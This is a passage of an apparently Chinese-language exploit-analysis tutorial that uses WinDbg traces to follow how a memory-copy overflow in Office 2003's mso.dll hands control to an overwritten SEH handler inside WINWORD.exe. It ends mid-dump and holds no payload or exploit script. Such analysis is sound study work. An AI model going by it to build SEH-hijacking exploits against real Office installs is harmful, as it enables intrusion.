1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 (908. acc): Break instruction exception - code 80000003  (first chance) eax =7ffdb000 ebx =00000001  ecx =00000002  edx =00000003  esi =00000004  edi =00000005 eip =7c92120e esp =0387ffcc ebp =0387fff4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =0038   gs =0000              efl=00000246 ntdll!DbgBreakPoint: 7c92120e cc              int      3  0 :007 > bp  0x30001bdd *** ERROR: Symbol file could not  be found.  Defaulted to export symbols for C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE -  0 :007 > gModLoad:  06420000  065c1000   C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLLModLoad:  76f20000 76f28000   C:\WINDOWS\system32\WTSAPI32.DLLModLoad:  762d0000 762e0000   C:\WINDOWS\system32\WINSTA.dllModLoad:  5fdd0000 5fe25000   C:\WINDOWS\system32\NETAPI32.dll(908. 3d4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and  handled. eax =0000c8ac ebx =05000000  ecx =00000022  edx =00000000  esi =1104c830 edi =00130000 eip =30ed442c esp =001237b4 ebp =001237ec iopl=0          nv up  ei pl nz na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00010206 *** ERROR: Symbol file could not  be found.  Defaulted to export symbols for C:\Program Files\Common  Files\Microsoft Shared\office11\mso.dll -  mso!Ordinal1246+0x16b0 : 30ed442c f3a5            rep  movs dword  ptr  es :[edi ],dword  ptr  [esi ] 0 :000 > gnBreakpoint 0  hit eax =00000000  ebx =00000000  ecx =30001bdd edx =7c9232bc esi =00000000  edi =00000000 eip =30001bdd esp =001233e4 ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 WINWORD+0x1bdd : 30001bdd 59               pop      ecx  0 :000 > kbChildEBP RetAddr  Args to Child               WARNING:  Stack unwind information not  available. Following frames may be wrong.00123404  7c92327a 001234cc 0012ffb0 001234e8 WINWORD+0x1bdd (0x30001bdd ,当前指令地址)            ↑------------------------------------------↓ 001234b4 7c92e46a 00000000  001234e8 001234cc ntdll!ExecuteHandler+0x24 (0x7c92327a )[ntdll!ExecuteHandler2 (7c923282)的返回地址]             ↑------------------------------------------↓ 001234b4 30ed442c 00000000  001234e8 001234cc ntdll!KiUserExceptionDispatcher+0xe (0x7c92e46a )[ntdll!RtlDispatchException (7c94a950)的返回地址]             ↑------------------------------------------↓ 001237ec 42030f42 2ac372e9 d32cf01d 36a595dd mso!Ordinal1246+0x16b0 (0x30ed442c ,发生异常指令地址) 
  通过栈回溯,我们可以知道,0x30ed442c处的指令“rep movsd”发生内存访问异常后,系统首先将异常信息发送给调试器,调试器未处理该异常,则将控制权交给ntdll!KiUserExceptionDispatcher函数。接下来的调用过程如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ntdll!KiUserExceptionDispatcher(PEXCEPTION_RECORD ExceptionRecord,                                  PCONTEXT ContextRecord)         |           |         ↓           ↓ ntdll!RtlDispatchException(PEXCEPTION_RECORD ExceptionRecord,                             PCONTEXT ContextRecord)         |           |         ↓           ↓ ntdll!RtlpExecuteHandlerForException(PEXCEPTION_RECORD pExcptRec,                                       PEXCEPTION_REGISTRATION_RECORD RegistrationPointer,                                       CONTEXT pContext,                                      DISPATCHER_CONTEXT DispatcherContext,                                      (PEXCEPTION_ROUTINE)RegistrationPointer->Handler)         |           |         ↓           ↓ ntdll!ExecuteHandler(PEXCEPTION_RECORD pExcptRec,                       PEXCEPTION_REGISTRATION_RECORD RegistrationPointer,                       CONTEXT pContext,                      DISPATCHER_CONTEXT DispatcherContext,                      (PEXCEPTION_ROUTINE)RegistrationPointer->Handler)         |           |         ↓           ↓ ntdll!ExecuteHandler2(PEXCEPTION_RECORD pExcptRec,                        PEXCEPTION_REGISTRATION_RECORD RegistrationPointer,                        CONTEXT pContext,                       DISPATCHER_CONTEXT DispatcherContext,                       (PEXCEPTION_ROUTINE)RegistrationPointer->Handler)         |           |         ↓           ↓ WINWORD+0x1bdd(0x30001bdd),SEH处理程序地址 
  我们对上述函数所在地址下断点,然后进行跟踪,查看每个函数的参数内容。由于这些函数的参数大多是结构体指针,所以我们用WinDbg调试可以更直观的看到这些参数所对应的结构体内容(dt命令)。WinDbg结合符号文件,可以非常清楚地显示各类数据结构。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 (140. b54): Break instruction exception - code 80000003  (first chance) eax =7ffda000 ebx =00000001  ecx =00000002  edx =00000003  esi =00000004  edi =00000005 eip =7c92120e esp =0336ffcc ebp =0336fff4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =0038   gs =0000              efl=00000246 ntdll!DbgBreakPoint: 7c92120e cc              int      3  0 :007 > bu 7C92E45C0 :007 > bu 7C92E4650 :007 > bu 7C94A9EA0 :007 > bu 7C9232560 :007 > bu 7C9232750 :007 > bu 7C9232A60 :007 > bu 0x30001bdd *** ERROR: Symbol file could not  be found.  Defaulted to export symbols for C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE -  0 :007 > bl  0  e 7c92e45c     0001  (0001 )  0 :**** ntdll!KiUserExceptionDispatcher  1  e 7c92e465     0001  (0001 )  0 :**** ntdll!KiUserExceptionDispatcher+0x9   2  e 7c94a9ea     0001  (0001 )  0 :**** ntdll!RtlDispatchException+0xac   3  e 7c923256     0001  (0001 )  0 :**** ntdll!ExecuteHandler  4  e 7c923275     0001  (0001 )  0 :**** ntdll!ExecuteHandler+0x1f   5  e 7c9232a6     0001  (0001 )  0 :**** ntdll!ExecuteHandler2+0x24   6  e 30001bdd     0001  (0001 )  0 :**** WINWORD+0x1bdd  0 :007 > gModLoad:  5fdd0000 5fe25000   C:\WINDOWS\system32\netapi32.dllModLoad:  75c60000 75d00000   C:\WINDOWS\system32\urlmon.dllModLoad:  76d70000 76d92000   C:\WINDOWS\system32\Apphelp.dllModLoad:  06860000  06a01000   C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLLModLoad:  76f20000 76f28000   C:\WINDOWS\system32\WTSAPI32.DLLModLoad:  762d0000 762e0000   C:\WINDOWS\system32\WINSTA.dll(140.e28 ): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and  handled. eax =0000c8ac ebx =05000000  ecx =00000022  edx =00000000  esi =1104c830 edi =00130000 eip =30ed442c esp =001237b4 ebp =001237ec iopl=0          nv up  ei pl nz na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00010206 *** ERROR: Symbol file could not  be found.  Defaulted to export symbols for C:\Program Files\Common  Files\Microsoft Shared\office11\mso.dll -  mso!Ordinal1246+0x16b0 : 30ed442c f3a5            rep  movs dword  ptr  es :[edi ],dword  ptr  [esi ] <----发生异常 0 :000 > gnBreakpoint 0  hit eax =0000c8ac ebx =05000000  ecx =00000022  edx =00000000  esi =1104c830 edi =00130000 eip =7c92e45c esp =001234c4 ebp =001237ec iopl=0          nv up  ei pl nz na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000206 ntdll!KiUserExceptionDispatcher: 7c92e45c 8b4c2404        mov      ecx ,dword  ptr  [esp +4 ] ss :0023 :001234c8=001234e8 0 :000 > dd  esp 001234c4  001234cc 001234e8 c0000005 00000000  001234d4  00000000  30ed442c 00000002  00000001  001234e4  00130000  0001003f 00000000  00000000  001234f4  00000000  00000000  00000000  00000000  00123504   ffff037f ffff0000 ffffffff 30d582a700123514   00000000  00000000  ffff0000 ff35496300123524   00000000  4963ffff 0000ff35 ffff000000123534   00000000  00000000  0000ffff 00000000 0 :000 > dt  _EXCEPTION_RECORD 001234ccntdll!_EXCEPTION_RECORD    +0x000  ExceptionCode    : 0n-1073741819  <---- 16 进制补码(C0000005),EXCEPTION_INVALID_VIOLATION,读写内存违规    +0x004  ExceptionFlags   : 0     +0x008  ExceptionRecord  : (null)     +0x00c  ExceptionAddress : 0x30ed442c  Void <---- 发生异常的指令地址    +0x010  NumberParameters : 2     +0x014  ExceptionInformation : [15 ] 1  0 :000 > dt  _CONTEXT 001234e8 ntdll!_CONTEXT    +0x000  ContextFlags     : 0x1003f     +0x004  Dr0               : 0     +0x008  Dr1               : 0     +0x00c  Dr2               : 0     +0x010  Dr3               : 0     +0x014  Dr6              : 0     +0x018  Dr7              : 0     +0x01c  FloatSave        : _FLOATING_SAVE_AREA    +0x08c  SegGs            : 0     +0x090  SegFs            : 0x3b     +0x094  SegEs            : 0x23     +0x098  SegDs            : 0x23     +0x09c  Edi               : 0x130000     +0x0a0  Esi               : 0x1104c830     +0x0a4  Ebx               : 0x5000000     +0x0a8  Edx               : 0     +0x0ac  Ecx               : 0x22     +0x0b0  Eax               : 0xc8ac     +0x0b4  Ebp               : 0x1237ec     +0x0b8  Eip               : 0x30ed442c     +0x0bc  SegCs            : 0x1b     +0x0c0  EFlags           : 0x10206     +0x0c4  Esp               : 0x1237b4     +0x0c8  SegSs            : 0x23     +0x0cc  ExtendedRegisters : [512 ]  "???"  0 :000 > gBreakpoint 1  hit eax =0000c8ac ebx =001234cc ecx =001234e8 edx =00000000  esi =1104c830 edi =00130000 eip =7c92e465 esp =001234bc ebp =001237ec iopl=0          nv up  ei pl nz na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000206 ntdll!KiUserExceptionDispatcher+0x9 : 7c92e465 e8e6c40100      call     ntdll!RtlDispatchException (7c94a950) 0 :000 > dd  esp 001234bc  001234cc 001234e8 001234cc 001234e8 001234cc  c0000005 00000000  00000000  30ed442c 001234dc  00000002  00000001  00130000  0001003f 001234ec  00000000  00000000  00000000  00000000  001234fc  00000000  00000000  ffff037f ffff0000 0012350c  ffffffff 30d582a7 00000000  00000000  0012351c  ffff0000 ff354963 00000000  4963ffff 0012352c  0000ff35 ffff0000 00000000  00000000  0 :000 > teax =0000c8ac ebx =001234cc ecx =001234e8 edx =00000000  esi =1104c830 edi =00130000 eip =7c94a950 esp =001234b8 ebp =001237ec iopl=0          nv up  ei pl nz na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000206 ntdll!RtlDispatchException: 7c94a950 8bff            mov      edi ,edi  0 :000 > gBreakpoint 2  hit eax =001234a0 ebx =0012ffb0 ecx =0000e085 edx =7c92e4f4 esi =001234cc edi =00130000 eip =7c94a9ea esp =00123430  ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!RtlDispatchException+0xac : 7c94a9ea e85888fdff      call     ntdll!RtlpExecuteHandlerForException (7c923247) 0 :000 > dd  esp 00123430   001234cc 0012ffb0 001234e8 001234a000123440   30001bdd 00130000  001234cc 1104c83000123450   00000000  00000000  00000000  00000000 00123460   00000000  00000000  00000000  00000000 00123470   00000000  00000000  00000000  00000000 00123480   00000000  00000000  00000000  00000000 00123490   00000000  00000000  00000000  00000000 001234a0  00000000  00000000  00130000  00119000  0 :000 > dt  _EXCEPTION_RECORD 001234ccntdll!_EXCEPTION_RECORD    +0x000  ExceptionCode    : 0n-1073741819  <---- 16 进制补码(C0000005),EXCEPTION_INVALID_VIOLATION,读写内存违规    +0x004  ExceptionFlags   : 0     +0x008  ExceptionRecord  : (null)     +0x00c  ExceptionAddress : 0x30ed442c  Void <---- 发生异常的指令地址    +0x010  NumberParameters : 2     +0x014  ExceptionInformation : [15 ] 1  0 :000 > dt  _EXCEPTION_REGISTRATION_RECORD 0012ffb0 ntdll!_EXCEPTION_REGISTRATION_RECORD    +0x000  Next             : 0xa29706eb  _EXCEPTION_REGISTRATION_RECORD    +0x004  Handler          : 0x30001bdd      _EXCEPTION_DISPOSITION  +0  0 :000 > dt  _CONTEXT 001234e8 ntdll!_CONTEXT    +0x000  ContextFlags     : 0x1003f     +0x004  Dr0               : 0     +0x008  Dr1               : 0     +0x00c  Dr2               : 0     +0x010  Dr3               : 0     +0x014  Dr6              : 0     +0x018  Dr7              : 0     +0x01c  FloatSave        : _FLOATING_SAVE_AREA    +0x08c  SegGs            : 0     +0x090  SegFs            : 0x3b     +0x094  SegEs            : 0x23     +0x098  SegDs            : 0x23     +0x09c  Edi               : 0x130000     +0x0a0  Esi               : 0x1104c830     +0x0a4  Ebx               : 0x5000000     +0x0a8  Edx               : 0     +0x0ac  Ecx               : 0x22     +0x0b0  Eax               : 0xc8ac     +0x0b4  Ebp               : 0x1237ec     +0x0b8  Eip               : 0x30ed442c     +0x0bc  SegCs            : 0x1b     +0x0c0  EFlags           : 0x10206     +0x0c4  Esp               : 0x1237b4     +0x0c8  SegSs            : 0x23     +0x0cc  ExtendedRegisters : [512 ]  "???"  0 :000 > dd  001234a0001234a0  00000000  00000000  00130000  00119000  001234b0  00000000  001237ec 7c92e46a 00000000  001234c0  001234e8 001234cc 001234e8 c0000005 001234d0  00000000  00000000  30ed442c 00000002  001234e0  00000001  00130000  0001003f 00000000  001234f0  00000000  00000000  00000000  00000000  00123500   00000000  ffff037f ffff0000 ffffffff00123510   30d582a7 00000000  00000000  ffff00000 :000 > teax =001234a0 ebx =0012ffb0 ecx =0000e085 edx =7c92e4f4 esi =001234cc edi =00130000 eip =7c923247 esp =0012342c ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!RtlpExecuteHandlerForException: 7c923247 babc32927c      mov      edx ,offset ntdll!ExecuteHandler2+0x3a  (7c9232bc) <---- ExecuteHandler2中安装的SEH记录的回调函数地址 0 :000 > peax =001234a0 ebx =0012ffb0 ecx =0000e085 edx =7c9232bc esi =001234cc edi =00130000 eip =7c92324c esp =0012342c ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!RtlpExecuteHandlerForException+0x5 : 7c92324c eb08            jmp      ntdll!ExecuteHandler (7c923256) 0 :000 > pBreakpoint 3  hit eax =001234a0 ebx =0012ffb0 ecx =0000e085 edx =7c9232bc esi =001234cc edi =00130000 eip =7c923256 esp =0012342c ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler: 7c923256 53               push     ebx  0 :000 > dd  esp 0012342c  7c94a9ef 001234cc 0012ffb0 001234e8 0012343c  001234a0 30001bdd 00130000  001234cc 0012344c  1104c830 00000000  00000000  00000000  0012345c  00000000  00000000  00000000  00000000  0012346c  00000000  00000000  00000000  00000000  0012347c  00000000  00000000  00000000  00000000  0012348c  00000000  00000000  00000000  00000000  0012349c  00000000  00000000  00000000  00130000  0 :000 > peax =001234a0 ebx =0012ffb0 ecx =0000e085 edx =7c9232bc esi =001234cc edi =00130000 eip =7c923257 esp =00123428  ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler+0x1 : 7c923257 56               push     esi  0 :000 > peax =001234a0 ebx =0012ffb0 ecx =0000e085 edx =7c9232bc esi =001234cc edi =00130000 eip =7c923258 esp =00123424  ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler+0x2 : 7c923258 57               push     edi  0 :000 > peax =001234a0 ebx =0012ffb0 ecx =0000e085 edx =7c9232bc esi =001234cc edi =00130000 eip =7c923259 esp =00123420  ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler+0x3 : 7c923259 33c0            xor      eax ,eax  0 :000 > dd  esp 00123420   00130000  001234cc 0012ffb0 7c94a9ef00123430   001234cc 0012ffb0 001234e8 001234a000123440   30001bdd 00130000  001234cc 1104c83000123450   00000000  00000000  00000000  00000000 00123460   00000000  00000000  00000000  00000000 00123470   00000000  00000000  00000000  00000000 00123480   00000000  00000000  00000000  00000000 00123490   00000000  00000000  00000000  00000000 0 :000 > peax =00000000  ebx =0012ffb0 ecx =0000e085 edx =7c9232bc esi =001234cc edi =00130000 eip =7c92325b esp =00123420  ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler+0x5 : 7c92325b 33db             xor      ebx ,ebx  0 :000 > eax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =001234cc edi =00130000 eip =7c92325d esp =00123420  ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler+0x7 : 7c92325d 33f6            xor      esi ,esi  0 :000 > eax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00130000 eip =7c92325f esp =00123420  ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler+0x9 : 7c92325f 33ff            xor      edi ,edi  0 :000 > eax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c923261 esp =00123420  ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler+0xb : 7c923261 ff742420        push     dword  ptr  [esp +20h ]  ss :0023 :00123440 =30001bdd 0 :000 > peax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c923265 esp =0012341c ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler+0xf : 7c923265 ff742420        push     dword  ptr  [esp +20h ]  ss :0023 :0012343c=001234a0 0 :000 > eax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c923269 esp =00123418  ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler+0x13 : 7c923269 ff742420        push     dword  ptr  [esp +20h ]  ss :0023 :00123438 =001234e8 0 :000 > eax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c92326d esp =00123414  ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler+0x17 : 7c92326d ff742420        push     dword  ptr  [esp +20h ]  ss :0023 :00123434 =0012ffb0 0 :000 > eax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c923271 esp =00123410  ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler+0x1b : 7c923271 ff742420        push     dword  ptr  [esp +20h ]  ss :0023 :00123430 =001234cc 0 :000 > Breakpoint 4  hit eax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c923275 esp =0012340c ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler+0x1f : 7c923275 e808000000      call     ntdll!ExecuteHandler2 (7c923282) 0 :000 > dd  esp 0012340c  001234cc 0012ffb0 001234e8 001234a0 0012341c  30001bdd 00130000  001234cc 0012ffb0 0012342c  7c94a9ef 001234cc 0012ffb0 001234e8 0012343c  001234a0 30001bdd 00130000  001234cc 0012344c  1104c830 00000000  00000000  00000000  0012345c  00000000  00000000  00000000  00000000  0012346c  00000000  00000000  00000000  00000000  0012347c  00000000  00000000  00000000  00000000  0 :000 > teax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c923282 esp =00123408  ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler2: 7c923282 55               push     ebp  0 :000 > peax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c923283 esp =00123404  ebp =001234b4 iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler2+0x1 : 7c923283 8bec            mov      ebp ,esp  0 :000 > eax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c923285 esp =00123404  ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler2+0x3 : 7c923285 ff750c          push     dword  ptr  [ebp +0Ch ]  ss :0023 :00123410 =0012ffb0 0 :000 > peax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c923288 esp =00123400  ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler2+0x6 : 7c923288 52               push     edx  <---- ERR->Handler 0 :000 > eax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c923289 esp =001233fc ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler2+0x7 : 7c923289 64ff3500000000  push     dword  ptr  fs :[0 ]     fs :003b:00000000 =0012ffb0 <---- ERR->Next 0 :000 > eax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c923290 esp =001233f8 ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler2+0xe : 7c923290 64892500000000   mov      dword  ptr  fs :[0 ],esp  fs :003b:00000000 =0012ffb0 <---- 当前SEH链表头部 0 :000 > eax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c923297 esp =001233f8 ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler2+0x15 : 7c923297 ff7514          push     dword  ptr  [ebp +14h ]  ss :0023 :00123418 =001234a0 0 :000 > dd  esp 001233f8  0012ffb0 7c9232bc 0012ffb0 001234b4 00123408   7c92327a 001234cc 0012ffb0 001234e800123418   001234a0 30001bdd 00130000  001234cc00123428   0012ffb0 7c94a9ef 001234cc 0012ffb000123438   001234e8 001234a0 30001bdd 00130000 00123448   001234cc 1104c830 00000000  00000000 00123458   00000000  00000000  00000000  00000000 00123468   00000000  00000000  00000000  00000000 0 :000 > dt  _EXCEPTION_REGISTRATION_RECORD 001233f8ntdll!_EXCEPTION_REGISTRATION_RECORD    +0x000  Next             : 0x0012ffb0  _EXCEPTION_REGISTRATION_RECORD    +0x004  Handler          : 0x7c9232bc      _EXCEPTION_DISPOSITION  ntdll!ExecuteHandler2+0  0 :000 > peax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c92329a esp =001233f4 ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler2+0x18 : 7c92329a ff7510          push     dword  ptr  [ebp +10h ]  ss :0023 :00123414 =001234e8 0 :000 > eax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c92329d esp =001233f0 ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler2+0x1b : 7c92329d ff750c          push     dword  ptr  [ebp +0Ch ]  ss :0023 :00123410 =0012ffb0 0 :000 > eax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c9232a0 esp =001233ec ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler2+0x1e : 7c9232a0 ff7508          push     dword  ptr  [ebp +8 ]    ss :0023 :0012340c=001234cc 0 :000 > eax =00000000  ebx =00000000  ecx =0000e085 edx =7c9232bc esi =00000000  edi =00000000 eip =7c9232a3 esp =001233e8 ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler2+0x21 : 7c9232a3 8b4d18          mov      ecx ,dword  ptr  [ebp +18h ] ss :0023 :0012341c=30001bdd 0 :000 > Breakpoint 5  hit eax =00000000  ebx =00000000  ecx =30001bdd edx =7c9232bc esi =00000000  edi =00000000 eip =7c9232a6 esp =001233e8 ebp =00123404  iopl=0          nv up  ei pl zr na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000246 ntdll!ExecuteHandler2+0x24 : 7c9232a6 ffd1            call     ecx  {WINWORD+0x1bdd  (30001bdd)} 0 :000 > dd  esp 001233e8  001234cc 0012ffb0 001234e8 001234a0 001233f8  0012ffb0 7c9232bc 0012ffb0 001234b4 00123408   7c92327a 001234cc 0012ffb0 001234e800123418   001234a0 30001bdd 00130000  001234cc00123428   0012ffb0 7c94a9ef 001234cc 0012ffb000123438   001234e8 001234a0 30001bdd 00130000 00123448   001234cc 1104c830 00000000  00000000 00123458   00000000  00000000  00000000  00000000 0 :000 > dt  _EXCEPTION_RECORD 001234ccntdll!_EXCEPTION_RECORD    +0x000  ExceptionCode    : 0n-1073741819  <---- 16 进制补码(C0000005),EXCEPTION_INVALID_VIOLATION,读写内存违规    +0x004  ExceptionFlags   : 0     +0x008  ExceptionRecord  : (null)     +0x00c  ExceptionAddress : 0x30ed442c  Void <---- 发生异常的指令地址    +0x010  NumberParameters : 2     +0x014  ExceptionInformation : [15 ] 1  0 :000 > dt  _EXCEPTION_REGISTRATION_RECORD 0012ffb0ntdll!_EXCEPTION_REGISTRATION_RECORD    +0x000  Next             : 0xa29706eb  _EXCEPTION_REGISTRATION_RECORD    +0x004  Handler          : 0x30001bdd      _EXCEPTION_DISPOSITION  +0  0 :000 > dt  _CONTEXT 001234e8 ntdll!_CONTEXT    +0x000  ContextFlags     : 0x1003f     +0x004  Dr0               : 0     +0x008  Dr1               : 0     +0x00c  Dr2               : 0     +0x010  Dr3               : 0     +0x014  Dr6              : 0     +0x018  Dr7              : 0     +0x01c  FloatSave        : _FLOATING_SAVE_AREA    +0x08c  SegGs            : 0     +0x090  SegFs            : 0x3b     +0x094  SegEs            : 0x23     +0x098  SegDs            : 0x23     +0x09c  Edi               : 0x130000     +0x0a0  Esi               : 0x1104c830     +0x0a4  Ebx               : 0x5000000     +0x0a8  Edx               : 0     +0x0ac  Ecx               : 0x22     +0x0b0  Eax               : 0xc8ac     +0x0b4  Ebp               : 0x1237ec     +0x0b8  Eip               : 0x30ed442c     +0x0bc  SegCs            : 0x1b     +0x0c0  EFlags           : 0x10206     +0x0c4  Esp               : 